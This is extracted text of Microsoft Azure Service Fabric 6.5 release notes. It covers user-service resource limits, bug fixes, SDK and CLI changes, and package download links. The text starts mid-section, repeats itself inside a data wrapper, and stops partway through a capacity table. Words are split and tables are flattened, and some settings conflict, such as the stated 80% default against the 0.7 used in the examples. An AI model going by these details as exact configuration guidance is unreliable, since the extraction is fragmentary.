\n6.5 \nUbuntu 6.5 \n Feature Protecting system entities from \nrunaway 'user' code Few customers encountered problems due to runaway user services consuming all the resources \non Service Fabric nodes. The resource exhaustion (spinning CPU, memory exhaustion, \nhammering disk IO, disk space exhaustion) resulted in several bad effects including starving other \nservices on the nodes, nodes ending up in a bad state, complex mitigation and recovery steps, and \nunresponsive cluster management APIs. \n \nWith this version of Service Fabric, you can now set up resource protection between the system \nand user services on a node. Service Fabric will enforce these hard resource limits \nfor user services to guarantee that all the non -system services on a node will never use more than \nthe specified amount of re sources. \n \nThis release adds an additional configuration option: EnforceUserServiceMetricCapacities. This \nconfig is in the PlacementAndLoadBalancing section of your ClusterManifest/ClusterConfig, and \nis OFF by default (to prevent unexpected surprises for e xisting customers during upgrades). \n \n \n \n \n{ \n\"name\" : \"PlacementAndLoadBalancing\" , \n \"parameters\" : [ { \n\"name\" : \"EnforceUserServiceMetricCapacities\" , \n\"value\" : \"true\" } ] \n} \n \nThis feature depends on Node Capacities for the Service Fabric resource governed \nhttps://docs.microsoft.com/en -us/azure/service -fabric/service -fabric -resource -governance metrics \n(as of this writing Memory and CPU Cores) being set. These capacities can be set either \nautomatically ( AutoDetectAvailableResources flag is false) or manually. If no capacities are set, \nthe node is considered to have infinite capacity for the given metric, and hence this feature cannot \nbe used (since SF doesn't know how much resources to reserve for system services). \nSF will issue a health warning if \"EnforceUserServiceMetricCapacities\" is true but capacities are \n not specified. \n \nThe specified metric capacity for the node is then divided between the user serv ices defines and \nthe rest of the system. The amount dedicated to the user services vs. the amount dedicated to the \nsystem is controlled by the following settings: \n \n \n \n \nThese ratios are defined by default. By default 80% of node capacity is used for user \nservices and 20% will be left to allow enough resources for the SF system \nservices (and also for any other processes/apps running on the node that are not visible to SF). \nThese settings are static and upgrades to change them will require node restarts. User service \ncapacity is enforced only for governed SF metrics (Memory and CPU Cores as of this writing). \nFor non -governed metrics, it's treated as a soft guarantee (violations are possible, but if they \nhappen, load balancer will trigger and attempt to fix the violation by moving services around, just \nlike normal capacity violations). The SF system services are effectively ungoverned , and they \ncan go beyond of their quota. Effectively constraining the system components and preventing \nthem from growing beyond their allotment will be handled in an upcoming release. \n \n \nWith this change, user services metric capacity can also be defined per Node Type. T At the \nNodeType level, a new section is added named UserServicesMetricCapacity. Within this section, \nthe same setting names and behavior can be defined and will result in the same behavior as \ndescribed for the Cluster Manifest level settings. If metric capacity is defined in both places, node \ntype definition takes precedence. \n \n \n \n \n \n \n \n \n \nThis release also fixes an issue in the calculation of node capacities. The rule for calculating \ncapacity has changed to account for percentage value ( User Services Capacity = \nNode Capacity * User Services Capacity Percentage ) \n \nPreviously, if user provided an override value for node capacity in NodeType, the % value was \nignored. This could be surprising to some users. \n Scenario 1 Scenario 2 Scenario 3 Scenario 4 \nNode \ncapacity \nauto-\ndetected \nvalue 100 100 100 100 \nNode \ncapacity \nuser \noverride - 90 - 90 \nUser \nservices \ncapacity \ndefault in \ncluster \nmanifest 0.7 0.7 0.7 0.7 \nUser \nservices \ncapacity \ndefault in \nNode Type - - 0.5 0.5 \nUser \nservices \ncapacity - \nactual value 70 90 50 90 \n \n \n \n With this release, if user provides an override for the absolute capacity in NodeType, the % value \nis NOT ignored, and will further discount the available resources on the node. \n \n Scenario 1 Scenario 2 Scenario 3 Scenario 4 \nNode \ncapacity \nauto-\ndetected \nvalue \n 100 100 100 100 \nNode \ncapacity \nuser \noverride \n - 90 - 90 \nUser \nservices \ncapacity \ndefault in \ncluster \nmanifest \n 0.7 0.7 0.7 0.7 \nUser \nservices \ncapacity \ndefault in \nNode Type \n - - 0.5 0.5 \nUser \nservices \ncapacity - \nactual value \n 70 63 50 45 \n \n Service Fabric .NET SDK \n \n \n \n Reliable Services and Reliable Actors X.Y.Z \n Feature Added replica -\nlevel Service \nFabric Events to \nbe used with \nReliable \nCollections and \nKeyValueStore. \n \n Brief desc: Added replica -level Service Fabric Events for stateful services. \nHow/When to Consume it: Explained in the first paragra ph in: \nhttps://docs.microsoft.com/en -us/azure/service -fabric/service -fabric -\ndiagnostics -event -generation -operational \nDocumentation: \nhttps://docs.microsoft.com/azure/service -fabric/service -fabric -\ndiagnostics -event -generation -operational#replica -events \n \n Service Fabric PowerShell and CLI \n \n Versions IssueType Description Resolution \nSFCTL 8 \n Feature As of Service Fabric on \nLinux 6.5 in Azure, sfctl is \ninstalled on machines by \ndefault. \n \n Brief desc: Latest version SFCTL is installed o n Service Fabric on Linux \nmachines when creating a new cluster or upgrading a cluster to 6.5. \nHow/When to Consume it: Automatic. \nhttps://docs.microsoft.com/en -us/azure/service -fabric/service -fabric -cli \n \n Repositories and Download Links \nThe table below is an overview of the direct links to the packages associated with this release. \nFollow this guidance for setting up your developer environment: \n• Linux: https://docs.microsoft.com/en -us/azure/service -fabric/service -fabric -get-started -linux \n• Mac: https://do cs.microsoft.com/en -us/azure/service -fabric/service -fabric -get-started -mac \n• Windows: https://docs.microsoft.com/en -us/azure/service -fabric/service -fabric -get-started \nArea Package Version Repository Direct Download Link \nService \nFabric \nRuntime Ubuntu Developer Set -up 6.5.435 .1 N/A Cluster Runtime: \nhttps://apt -\nmo.trafficmanager.net/repos/servicefab\nric/pool/main/s/servicefabric \nService Fabric SDK for local cluster \nsetup: \nhttps://apt -\nmo.trafficmanager.net/repos/servicef\nabric/pool/main/s/servicefabricsdkco\nmmon/ \nContainer image: \nhttps://hub.docker.com/r/microsoft/ser\nvice-fabric -onebox/ \nService \nFabric \nRuntime Windows Developer Set -up 6.5.639.9590 N/A https://download.microsoft.com/downl\noad/C/7/B/C7B7BA41 -B95A -4363 -\n8B28 -\n7075E9B10E99/MicrosoftServiceFabri\nc.6.5.639.95 90.exe \nService \nFabric for \nWindows \nServer Service Fabric Standalone \nInstaller Package 6.5.639.9590 \n N/A https://download.microsoft.com/downl\noad/8/3/6/836E3E99 -A300 -4714 -\n8278 -\n96BC3E8B5528/6.5.639.9590/Microso\nft.Azure.ServiceFabric.WindowsServe\nr.6.5.639.9590.zip \n Area Package Version Repository Direct Download Link \nService \nFabric for \nWindows \nServer Service Fabric Standalone \nRuntime 6.5.639.9590 N/A https://download.microsoft.com/downl\noad/B/0/B/B0BCCAC5 -65AA -4BE3 -\nAB13 -\nD5FF5890F4B5/6.5.639.9590/Microso\nftAzureServiceFabric.6.5.639.9590.cab \n.NET SDK Windows .NET SDK 3.4.639 N/A https://download.microsoft.com/downl\noad/C/7/B/C7B7BA41 -B95A -4363 -\n8B28 -\n7075E9B10E99/MicrosoftServiceFabri\ncSDK.3.4.639.msi \n.NET SDK Microsoft.ServiceFabric 6.5.639 N/A https://www.nuget.org \n.NET SDK Reliable Services and \nReliable Actors \n• Microsoft.ServiceFa\nbric. Services \n• Microsoft.ServiceFa\nbric.Services.Remoti\nng \n• Microsoft.ServiceFa\nbric.Services.Wcf \n• Microsoft.ServiceFa\nbric.Actors \n• Microsoft.ServiceFa\nbric.Actors.Wcf 3.4.639 https://github.com/Azure/service -\nfabric -services -and-actors -dotnet https://www.nuget.org \n.NET SDK ASP.NET Core Service \nFabric integration \n• Microsoft.ServiceFa\nbric.Services.AspNe\ntCore.* 3.4.639 https://github.com/Azure/service -\nfabric -aspnetcore https://www.nuget.org \n Area Package Version Repository Direct Download Link \n.NET SDK Data, Diagnostics and Fabric \ntransport \n• Microsoft.ServiceFa\nbric.Data \n• Microsoft.ServiceFa\nbric.Data.Interfaces \n• Microsoft.ServiceFa\nbric.Diagnostics.Inte\nrnal \nMicrosoft.ServiceFabric.Fab\nricTransport.Internal 3.4.639 N/A https://www.nuget.org \n.NET SDK Microsoft.ServiceFabric.Dat\na.Extensions 1.4.639 N/A https://www.nuget.org \n \nJava SDK Java SDK 1.0.5 N/A https://mvnr epository.com/artifact/com\n.microsoft.servicefabric/sf -actors/1.0.5 \nVisual \nStudio Visual Studio 2017 Tools for \nService Fabric 2.4.11024.1 N/A Included in Visual Studio 2017 Update \n7 (15.7) and above \n Visual Studio 2015 Tools for \nService Fabric 2.4.11116.1 N/A See localized download links below \nEclipse Service Fabric plug -in for \nEclipse 2.0.7 N/A N/A \nYeoman Azure Service Fabric Java \ngenerator 1.0.7 https://github.com/Azure/generator\n-azuresfjava N/A \nYeoman Azure Service Fabric C# \ngenerator 1.0.9 https://github.com/Azure/generator\n-azuresfcsharp N/A \nYeoman Azure Service Fabric guest \nexecutables generator 1.0.1 https://github.com/Azure/generator\n-azuresfguest N/A \nYeoman Azure Service Fabric \nContainer generators 1.0.1 https://github.com/Azure/generator\n-azuresfcontainer N/A \nCLI Service Fabric CLI 8.0.0 https://github.com/Azure/service -\nfabric -cli https://pypi.python.org/pypi/sfctl \nPowerShell AzureRM.ServiceFabric 0.3.15 https://github.com/Azure/azure -\npowershell/tree/preview/src/Resou\nrceManager/ServiceFabric https://www.powershellgallery.com/pa\nckages/AzureRM.ServiceFabric/0.3.15 \n \nVisual Studio 2015 Tool for Service Fabric – localized download links \nNOTE: The below download links are for the 2.4.11116.1 release of Visual Studio 2015 Tools for Service Fabric. \n \nhttps://download.microsoft.com/download/C/7/B/C 7B7BA41 -B95A -4363 -8B28 -7075E9B10E99/MicrosoftAzureServiceFabricTools.VS140.de -de.msi \nhttps://download.mic rosoft.com/download/C/7/B/C7B7BA41 -B95A -4363 -8B28 -7075E9B10E99/MicrosoftAzureServiceFabricTools.VS140.en -us.msi \nhttps://download.microsoft.com/download/C/7/B/C7B7BA41 -B95A -4363 -8B28 -7075E9B10E99/MicrosoftAzureServiceFabricTools.VS140.es -es.msi \nhttps://download.microsoft.com/download/C/7/B/C7B7BA41 -B95A -4363 -8B28 -7075E9B10E99/MicrosoftAzureServiceFabricTools.VS140.fr -fr.msi \nhttps://download.microsoft.com/download/C/7/B/C7B7BA41 -B95A -4363 -8B28 -7075E9B10E99/MicrosoftAzureServiceFabricTools.VS140.it -it.msi \nhttps://download.microsoft.com/download/C/7/B/C7B7BA41 -B95A -4363 -8B28 -7075E9B10E99/MicrosoftAzureServiceFabricTools.VS140.ja -jp.msi \nhttps://download.microsoft.com/download/C/7/B/C7B7BA41 -B95A -4363 -8B28 -7075E9B10E99/MicrosoftAzureServiceFabricTools.VS140.ko -kr.msi \nhttps://download.microsoft.com/download/C/7/B/C7B7BA41 -B95A -4363 -8B28 -7075E9B10E99/MicrosoftAzureServiceFabricTools.VS140.ru -ru.msi \nhttps://download.microsoft.com/download/C/7/B/C7B7BA41 -B95A -4363 -8B28 -7075E9B10E99/MicrosoftAzureServiceFab ricTools.VS140.zh -cn.msi \nhttps://download.microsoft.com/download/C/7/B/C7B7BA41 -B95A -4363 -8B28 -7075E9B10E 99/MicrosoftAzureServiceFabricTools.VS140.zh -tw.msi "}],"string":"[\n {\n \"data\": \" \\n Microsoft Azure Service Fabric 6.5 Release Notes \\nThis release includes the bug fixes and new features described in this document. This release includes runtime, SDKs , Service Fabric Tool and \\nWindows Server Standalone deployments to run on -premises. \\nThe following packages and versions are part of this release \\nService Fabric Runtime Ubuntu 6.5.435.1 \\nWindows 6.5.639.9590 \\nService Fabric for Windows \\nServer Service Fabric Standalone Installer Package 6.5.639.9590 \\n.NET SDK Windows .NET SDK 3.4.639 \\nMicrosoft.ServiceFabric 6.5.639 \\nReliable Services and Reliable Actors 3.4.639 \\nASP.NET Core Service Fabric integration 3.4.639 \\nJava SDK Java for Linux SDK 1.0.5 \\nService Fabric PowerShell and \\nCLI AzureRM PowerShell Module 0.3.15 \\nSFCTL 8.0.0 \\nService Fabric Tooling Visual Studio Tooling 2.4.11116.1 \\nEclipse Tooling 2.0.7 \\n \\n Contents \\nMicrosoft Azure Service Fabric 6.5 Release Notes ................................ ................................ ................................ ................................ ....................... 1 \\nBreaking Announcements ................................ ................................ ................................ ................................ ................................ .............................. 3 \\nWhat N ew in 6.5 ................................ ................................ ................................ ................................ ................................ ................................ ............ 4 \\nNew Features ................................ ................................ ................................ ................................ ................................ ................................ ............. 4 \\nService Fabric Runtime ................................ ................................ ................................ ................................ ................................ ................................ .. 5 \\nService Fabric .NET SDK ................................ ................................ ................................ ................................ ................................ ............................... 14 \\nService Fabric PowerShell and CLI ................................ ................................ ................................ ................................ ................................ ............... 15 \\nRepositories and Download Links ................................ ................................ ................................ ................................ ................................ ............... 16 \\nVisual Studio 2015 Tool for Service Fabric – localized download links ................................ ................................ ................................ ................. 19 \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n \\n Breaking Announcements \\n• This is the last release where we are releasing the Visual Studio tools for Service Fabric for VS 2015. Customers are \\nadvised to move to VS 2019 . \\n• Protecting system entities from runaway 'user' code : From this version, users can now set up resource protection \\nbetween the system and user services on a node. Service Fabric will enforce these hard resource limits for user services to \\nguarantee that all the non -system services on a node will never use more than the specified amount of resources. Please \\nrefer to this section for configuration details . \\n What New in 6.5 \\nThis release includes supportability, reliability, performance improvements, new features, bug fixes and enhancements to ease cluster \\nand application life cy cle management. \\n New Features \\n• Service Fabric Explorer will now allow you to explore the applications that you have uploaded to image store. \\n• Patch Orchestration Application(POA) customers are recommended to move to released version 1.4.0 that has a lot of self -\\ndiagnostic improvements. \\n• EventStore Service will be enabled by default f or clusters from this release unless a customer has specifically opted out. \\n• Add replica level service fabric heal th events for Stateful Services \\n• Users will have better visibility into state of down seed nodes. \\n• Service Fabric Application Disaster Recovery tool allows users of Service Fabric stateful services to get back live soon in case \\nthe primary SF cluster encounters a disaster. The tool constantly synchronizes the data from the application running on the \\nprimary cluster on the standby application on secondary using periodic backup and restore. \\n• Support for .NET Core applications built from Visual Studio to be published to Linux Service Fabric cluster . \\n• Azure Service Fabric CLI (sfctl) will be installed automatically from 6.5 onwards when you upgrade or create new Azure \\nService Fabric Linux cluster . \\n• SFCTL is installed by default on MacOS/Linux OneBox cluster . \\n Service Fabric Runtime \\n \\nVersions IssueType Description Resolution \\nUbuntu 6.5 \\nWindows \\n6.5 \\n \\n Feature Improve reliable collection replicator \\nretry logic \\n \\n Brief desc: When there is network congestion or if secondary is slow in receiving messages, \\nreplicator would still try to flood the secondary with retries . This can exacerbate the problem . \\nThis feature improves the replicator retry mechanism. \\nHow/When to Consume it: Feature is enabled by default \\nWindows \\n6.5 Bug FabricInstallerSvc no longer writes a \\ndump when timing out as part of it \\nretry loop starting FabricHost. Impact : Excess noise for cluster health telemetry and unnecessary network usage when Fabric is \\nnot coming up. \\nFix: Change logic to do silent retry . \\nUbuntu 6.5 \\nWindows \\n6.5 Bug Made performance improvements for \\nscalemin (onebox/more nodes than \\nmachines) scenario cluster setup and \\nreset, by avoiding unnecessary file \\ncopies. Impact : SDK single machine or scalemin clusters previously had their own set of copies for \\nFabric service files for legacy reasons , resulting in slow cluster setup. \\nFix: This was reworked to deprecate the need for each node to have its own set of copies of \\nservice files. \\nGitHub link: https://github.com/Microsoft/service -fabric/issues/299 \\nUbuntu 6.5 \\nWindows \\n6.5 Bug In container setup code for Service \\nFabric runtime deployment, have \\nremoved waits and retries where they \\nare not necessary. Impact : Container configuration setup is behaving slowly for Service Fabric node setup & SDK \\nupgrad e. \\nFix: Improve granularity checking result codes for certain functional calls, to remove \\nunnecessary waits. \\nWindows \\n6.5 Feature SDK Service Fabric runtime installer \\nnow takes /force fla g to automatically \\nclose conflicting processes. Brief desc: For advanced users installing the SF runtime for the SDK setup scenario using the \\ncommand line, can now pass /force flag to automatically close conflicting processes during the \\nupgrade. Note: This does not apply for Windows system services. \\nIn addition, when not using the /force or /quiet flags, a modal dialog is presented to offer this \\nfunctionality on demand , such as when installing through WebPI . \\nHow/When to Consume it: Using the runtime installer exe retrieved from WebPI/direct link , \\nprovide the new parameter through command line interface. \\nWindows \\n6.5 Feature SDK Service Fabric runtime installer \\nnow takes /uninstall parameter for \\neasy command -line uninstallation. Brief desc: To bring parity with functionality available in the previously deprecated MSI \\ninstaller, the SF runtime installer exe now takes an /uninstall parameter. \\nHow/When to Consume it: Using the runtime installer exe retrieved from WebPI/direct link, \\nprovide the new parameter through command line interface. \\nWindows \\n6.5 Bug Fixed crash during node state \\nremoval . Impact : In the cluster node removal path, i n rare case s, calling NetCloseResource would hit a \\ncrash which had a risk of leaving artifacts behind during uninstall. \\nFix: Fixed marshaling casting issue that led to Arithmeth ic OverflowException. \\n Ubuntu 6.5 \\nWindows \\n6.5 \\n Feature Change compose application \\ndeployment to use the same workflow \\nand store data structures with mesh \\napplication deployment in Cluster \\nManager. How/When to Consume it: \\nWhen cluster upgrade to version 6.5, compose deployments old data structures will be removed \\nand new data structures will be generated. Only completed compose deployments are migrated. \\nTo migrate successfully, cluster upgrade ( from last 6.4 refresh release to 6.5 and 6.5 to lower \\nversion) and operations on compose based applications (create/upgrade/delete) are mutually \\nblocking to each other. Fabric upgrade to 6.5 will fail if there is an operation on compose \\napplication not completed, and vice versa. To hav e this blocking logic, users of compose \\ndeployments must upgrade to 6.4 CU7 first and then upgrade to 6.5. Cluster upgrade that not \\nacross 6.5 will not be affected. \\n \\nThe migration of compose applications is one way. If cluster is in 6.5 and then upgraded to a \\nlower cluster version such as 6.4, migrated and newly created compose applications are still \\nrunning but cannot be operated in lower cluster version. It is only changed internally. There are \\nno visible public API changes. This change does no t impact mesh application deployment. \\nUbuntu 6.5 \\nWindows \\n6.5 \\n Bug Accept new application upgrade if a \\nprevious application rollback fails during \\nupdating default services Impact : If an application rollback fails when updating default services, a new application \\nupgrade on the same application will fail. \\nFix: Fix to accept a new application upgrade if previous application rollback fails during \\nupdating default services. \\nUbuntu 6.5 Bug Service Fabric clusters on Azure can now \\nbe deployed using custom DNS. Impact: Customers detailing a custom DNS server in their networking dhcpOptions would have a \\ncluster fail to come up since Azure machine addresses cannot be resolved with the DNS server. \\nThe workaround was to add all cluster node address entries to the machine hosts files, to act as a \\nstop gap. \\nHow/When to Consume it: To activate custom DNS through an ARM Azure Service Fabric \\ndeployment, this configuration is required under ARM Microsoft.Network/virtualNetworks \\nproperties section (/w your chosen dns ip): \\n \\\"dhcpOptions\\\": { \\n \\\"dnsServers\\\": [ \\n \\\"8.8.8.8\\\" \\n ] \\n } \\nUbuntu 6.5 Feature General machine bootstrap script has \\nbeen provided to set up prerequisites for \\nService Fabric Linux nodes for \\ndeployment & upgrade scenarios Brief desc: A common machine prerequisite setup script bootstrap.sh has been made available, in \\nsync for each relea se of the SF runtime deb package. This allows for a consistent and future -proof \\nprerequisite setup and upgrade process for Azure and on -premises Service Fabric Linux nodes. \\nIt sets up: \\n1. Base environmental packages \\n2. External dependency package repositories \\n3. Service Fabric CLI (sfctl) \\nHow/When to Consume it: Azure -deployed Service Fabric machines carry a script in the VM \\nextension which is used to invoke the boo tstrap script by deriving it from the deb package. The \\n helper script is called run_b ootstrap.sh and the extension package can be retrieved from link: \\nhttps://go.microsoft.com/fwlink/?linkid=2092882 \\nUbuntu 6.5 \\n(& MacOS) Feature SFCTL is installed by default on \\nMacOS /Linux dev experience cluster \\ncontainer Brief desc: When creating a container using the latest Service Fabric base container \\nmicrosoft/service -fabric -onebox , the setup script will bootstrap the machine with sfctl installed \\nautomatically, removing the need to run separate steps to install the CLI. \\nHow/When to Consume it: MacOS /Linux dev container setup for container -based local cluster : \\nhttps://docs.microsoft.com/en -us/azure/service -fabric/service -fabric -get-started -mac \\nWindows \\n6.5 Feature EventStore Service will be added by \\ndefault to Windows clusters when \\nruntime gets upgraded to a version >= \\n6.5. Brief desc: When clusters get created or upgraded with versions >=6.5, the EventStore Service is \\nenabled by default. If a customer wants to disable it, this can be achieved by setting the \\neventStoreServiceEnabled property on the cluster resource to false (API version for cluster \\nresource should be updated to 2019 -03-01). \\nhttps://docs.microsoft.com/en -us/azure/service -fabric/service -fabric -diagnostics -eventstore \\nWindows \\n6.5 Feature Validation should not allow users to \\nspecify CPU shares without specifying \\nnumber of required cores Brief desc: With new validation during application manifest registration, Service Fabric does not \\nallow specifying CPU shares at a code package/container level without setting the number of \\ncores that is required. Reasoning behind this is that shares are used to split CPU time between \\ndifferent code packages/containers on the same machine. \\nIf customer already has an application where CPU shares are specified on code package level, but \\nno CPU cores on service package level, this application will work with new fabric version. \\nCustomers must change the application manifest and add CPU cores on service package level to \\nsuccessfully upgrade their apps with newer service fabric versions . \\nWindows \\n6.5 Feature Add replica -level Service Fabric Events \\nto be used with Reliable Collections. Brief desc: Added replica -level Service Fabric Events for Reliable Collections . \\nHow/When to Consume it: Explained in the first paragraph in: https://docs.microsoft.com/en -\\nus/azure/service -fabric/service -fabric -diagnostics -event -generation -operational \\nDocumentation: https://docs.microsoft.com/en -us/azure/service -fabric/service -fabric -\\ndiagnostics -event -generation -operational #replica -events \\nWindows \\n6.5 \\nUbuntu 6.5 Bug Improve error reporting when a code \\npackage terminates unexpectedly. Service Fabric would provide a health message that included only an error code when a Code \\nPackage terminated. It was difficult for users to know why their process/container terminated and \\ntake action to fix it. Service Fabric will now display a more descr iptive health message with \\ngeneral debugging tips when a Code Package terminates. It will also include a link to more \\nspecific debugging information for common termination error codes. \\nWindows \\n6.5 \\nUbuntu 6.5 Bug Move sf_cns plugin to a different port. \\n The sf_cns plugin runs on port 10090 (cns) and 48080 (cnm) by default. Teams are also using the \\nazure cns plugin from GitHub that also runs on 10090 and 48080. Providing configuration -based \\nsupport to run the sf_cns plugin on a different ports. The configuration controlling the sf_cns \\nplugin ports are Hosting/SfCnsNetworkPluginCnsUrlPort (default is 10091) and \\nHosting/SfCnsNetworkPluginCnmUrlPort(default is 48081). \\n Windows \\n6.5 \\nUbuntu 6.5 \\n Bug Fixed Reverse Proxy crash of malformed \\nURLs requests Prior to 6.3 Reverse sf event would return 400 BadRequest, recently Reverse Proxy will crash if it \\nreceives a malformed request. This behavior was fixed such that it will again return 400 even if \\nthe URL is malformed. \\nWindows \\n6.5 \\n Feature Provide option to send telemetry on API \\nusage through HTTP Gateway Brief desc: API calls going through the HTTP endpoint can be collected as part of telemetry. \\nInformation may contain request URL, whether the operation was successful, error message, and \\nthe type of client the request came from, such as sfctl. \\nHow/When to Consume it: Feature is disabled by default. Feature can be turned on in the \\nDiagnostics sections of FabricSettings, with configurations CaptureTelemetry and \\nTelemetryCapturePercentage. \\nWindows \\n6.5 \\nUbuntu 6.5 Bug DeletionManager should delete \\nchecksums first and fail if not able Brief Desc: DeletionManager deletes part of a code package and errors out before it's able to \\nfinish (the deletion can fail on the OS side if it can't delete on of the files in the folder) . The \\nchecksum remains along with part of the code package. If that ApplicationType is re -provisioned, \\nthen DownloadManager will see the checksum and that the folder is still there and not overwrite \\nit. SF will now try to bring up an application with a hal f-missing code package. \\nFix: Fixed an issue where deleting files from a node would leave the cache in an error state \\nWindows \\n6.5 \\nUbuntu 6.5 Bug Users can now specify a \\n\\\"TreatContainerUnhealthyStatusAsError\\\" \\nflag in the HealthConfig object of their \\nContainerHostPolicies. Users can now specify a \\\"TreatContainerUnhealthyStatusAsError\\\" flag in the HealthConfig object \\nof their ContainerHostPolicies. W hen set to true, any unhealthy statuses reported from a \\ncontainer's configured HEALTHCHECK will be treated as an error in Service Fabric's health \\nreports. \\nWindows \\n6.5Ubuntu \\n6.5 Bug Fixed an issue causing externally \\nterminated containers to be cleaned \\nregardless of an AutoRemove policy. Brief desc: \\nIf a container crashed or was terminated externally, we shouldn't remove the container. Whether \\nthe container is removed should be set during activation. \\n \\nWindows \\n6.5Ubuntu \\n6.5 Bug ImageCache should clean up numbered \\ntemporary files on failed download Brief Desc: Customer is reporting they're seeing a buildup of temporary download files in \\nImageCache. These files are created while being downloaded with a temporary name, and then \\nrenamed after download is complete. The files the customer is seei ng are slightly smaller than \\ntheir code package, leading me to believe they are an artifact left due to a failed download. \\nFix: Fixed an issue where temporary files were being left in the ImageCache after a failed \\ndownload. \\n \\nWindows \\n6.5 \\nUbuntu 6.5 Feature Auditing f unctionality added t o REST \\napi's Brief desc : Information about the http requests ( REST api’s) will be logged to a well-known \\nETW channel under the SF Operational channel with keyword audit. This audit is configurable to \\nturn on or off, only actions from users with admin credentials will be logged, and requests failed \\ndue to authentication will be ignored. The audit will include the credentials being presented, along \\nwith the request url and body. \\n \\n How/When to Consume it: Feature is disabled by default. Feature can be turned on in the \\nDiagnostics sections of FabricSettings, by setting the configuration AuditHttpRequests to true. \\n \\nRemoting \\nSDK 6.5 Bug Default Retry settings updated Brief desc: \\nWe have changed the default retry settings for FabricTransientExceptions for Remoting from max \\nto 10. Users will see FabricTransientExceptions and hence they need to handle those from this \\nrelease onwards. \\nWindows \\n6.5 \\nUbuntu 6.5 Feature New REST API to support querying \\nimage store folder size. Brief desc: \\nService Fabric REST API support to return folder size in ImageStore. This REST API help SF \\nexplorer show folder information in ImageStore viewer tab. A user can see which folder consume \\nlarge amount of space in storage and cleans up accordingly. \\n/ImageStore/{contentPath}/$/FolderSize \\nDocumentation : https://docs.microsoft.com/en -us/azure/service -fabric/service -fabric -\\nvisualizing -your-cluster#image store -viewer \\nWindows \\n6.5 \\nUbuntu 6.5 \\n Bug Resource governance validation should \\nnot allow users to specify CPU shares on \\ncode package level without specifying \\nthe number of required cores on service \\npackage level Brief desc: \\nWith new validation during application manifest registration, Service Fabric does not allow \\nspecifying CPU shares a t a code package/container level without setting the number of cores that \\nis required. Reasoning behind this is that shares are used to split CPU time between different code \\npackages/containers on the same machine. \\nIf customer already has an application where CPU shares are specified on code package level, but \\nno CPU cores on service package level, this application will work with new fabric version. \\nCustomers must change the application manifest and add CPU cores on service package level to \\nsuccessfully upgrade their apps with newer service fabric versions. \\nWindows \\n6.5 Feature SF trace logs format changed to be CSV \\ncompliant SF trace logs are made CSV compliant by enclosing message by double quotations after escaping \\n(escape character: \\\") existing double quotations in the message. Custom tools developed by users \\nthat have a dependency on these logs need to modify the tools accordingly. \\n Example : \\nPrevious trace in log file: \\n2019 -5-15 01:47:48.091,Warning,1896,1756,Transport.FailedToConnect@68b5725aa0,client -\\n10.0.0.11:19000/10.0.0.11:19000: error = 2147943625, failureCount=9. Filter by \\n(type~Transport.St && ~\\\"(?i)10.0.0.11:19000\\\") to get listener lifecycle. Connect failure is \\nexpected i f listener was never started, or listener/its process was stopped before/during \\nconnecting. \\nCurrent : \\n2019 -5-15 01:47:48.091,Warning,1896,1756,Transport.FailedToConnect@68b5725aa0,\\\"client -\\n10.0.0.11:19000/10.0.0.11:19000: error = 2147943625, failureCount=9. Filter by \\n(type~Transport.St && ~\\\"\\\"(?i)10.0.0.11:19000\\\"\\\") to get listener lifecycle. Connect failure is \\n expected if listener was never started, or listener/its process was stopped before/during \\nconnecting. \\nWindows \\n6.5 \\nUbuntu 6.5 \\n Feature Protecting system entities from \\nrunaway 'user' code Few customers encountered problems due to runaway user services consuming all the resources \\non Service Fabric nodes. The resource exhaustion (spinning CPU, memory exhaustion, \\nhammering disk IO, disk space exhaustion) resulted in several bad effects including starving other \\nservices on the nodes, nodes ending up in a bad state, complex mitigation and recovery steps, and \\nunresponsive cluster management APIs. \\n \\nWith this version of Service Fabric, you can now set up resource protection between the system \\nand user services on a node. Service Fabric will enforce these hard resource limits \\nfor user services to guarantee that all the non -system services on a node will never use more than \\nthe specified amount of re sources. \\n \\nThis release adds an additional configuration option: EnforceUserServiceMetricCapacities. This \\nconfig is in the PlacementAndLoadBalancing section of your ClusterManifest/ClusterConfig, and \\nis OFF by default (to prevent unexpected surprises for e xisting customers during upgrades). \\n \\n \\n \\n \\n{ \\n\\\"name\\\" : \\\"PlacementAndLoadBalancing\\\" , \\n \\\"parameters\\\" : [ { \\n\\\"name\\\" : \\\"EnforceUserServiceMetricCapacities\\\" , \\n\\\"value\\\" : \\\"true\\\" } ] \\n} \\n \\nThis feature depends on Node Capacities for the Service Fabric resource governed \\nhttps://docs.microsoft.com/en -us/azure/service -fabric/service -fabric -resource -governance metrics \\n(as of this writing Memory and CPU Cores) being set. These capacities can be set either \\nautomatically ( AutoDetectAvailableResources flag is false) or manually. If no capacities are set, \\nthe node is considered to have infinite capacity for the given metric, and hence this feature cannot \\nbe used (since SF doesn't know how much resources to reserve for system services). \\nSF will issue a health warning if \\\"EnforceUserServiceMetricCapacities\\\" is true but capacities are \\n not specified. \\n \\nThe specified metric capacity for the node is then divided between the user serv ices defines and \\nthe rest of the system. The amount dedicated to the user services vs. the amount dedicated to the \\nsystem is controlled by the following settings: \\n \\n \\n \\n \\nThese ratios are defined by default. By default 80% of node capacity is used for user \\nservices and 20% will be left to allow enough resources for the SF system \\nservices (and also for any other processes/apps running on the node that are not visible to SF). \\nThese settings are static and upgrades to change them will require node restarts. User service \\ncapacity is enforced only for governed SF metrics (Memory and CPU Cores as of this writing). \\nFor non -governed metrics, it's treated as a soft guarantee (violations are possible, but if they \\nhappen, load balancer will trigger and attempt to fix the violation by moving services around, just \\nlike normal capacity violations). The SF system services are effectively ungoverned , and they \\ncan go beyond of their quota. Effectively constraining the system components and preventing \\nthem from growing beyond their allotment will be handled in an upcoming release. \\n \\n \\nWith this change, user services metric capacity can also be defined per Node Type. T At the \\nNodeType level, a new section is added named UserServicesMetricCapacity. Within this section, \\nthe same setting names and behavior can be defined and will result in the same behavior as \\ndescribed for the Cluster Manifest level settings. If metric capacity is defined in both places, node \\ntype definition takes precedence. \\n \\n \\n \\n \\n \\n \\n \\n \\n \\nThis release also fixes an issue in the calculation of node capacities. The rule for calculating \\ncapacity has changed to account for percentage value ( User Services Capacity = \\nNode Capacity * User Services Capacity Percentage ) \\n \\nPreviously, if user provided an override value for node capacity in NodeType, the % value was \\nignored. This could be surprising to some users. \\n Scenario 1 Scenario 2 Scenario 3 Scenario 4 \\nNode \\ncapacity \\nauto-\\ndetected \\nvalue 100 100 100 100 \\nNode \\ncapacity \\nuser \\noverride - 90 - 90 \\nUser \\nservices \\ncapacity \\ndefault in \\ncluster \\nmanifest 0.7 0.7 0.7 0.7 \\nUser \\nservices 